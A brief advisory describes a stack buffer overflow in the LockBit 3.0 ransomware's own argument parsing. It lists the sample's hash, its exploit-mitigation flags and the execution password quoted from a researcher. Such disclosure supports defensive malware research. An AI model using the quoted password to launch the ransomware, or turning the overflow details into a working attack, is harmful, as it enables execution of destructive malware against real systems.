Threat: Ransom Lockbit 3.0
Vulnerability: Local Unicode Buffer Overflow (SEH)
Description: The ransomware apparently now requires a password to execute as noted by “@vxunderground” E.g. "-pass db66023ab2abcb9957fb01ed50cdfa6a", but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).
Family: Lockbit
Type: PE32
MD5: 38745539b71cf201bb502437f891d799
Vuln ID: MVID-2022-0620
ASLR: False
DEP: True
CFG: False
Safe SEH: False
Disclosure: 07/03/2022
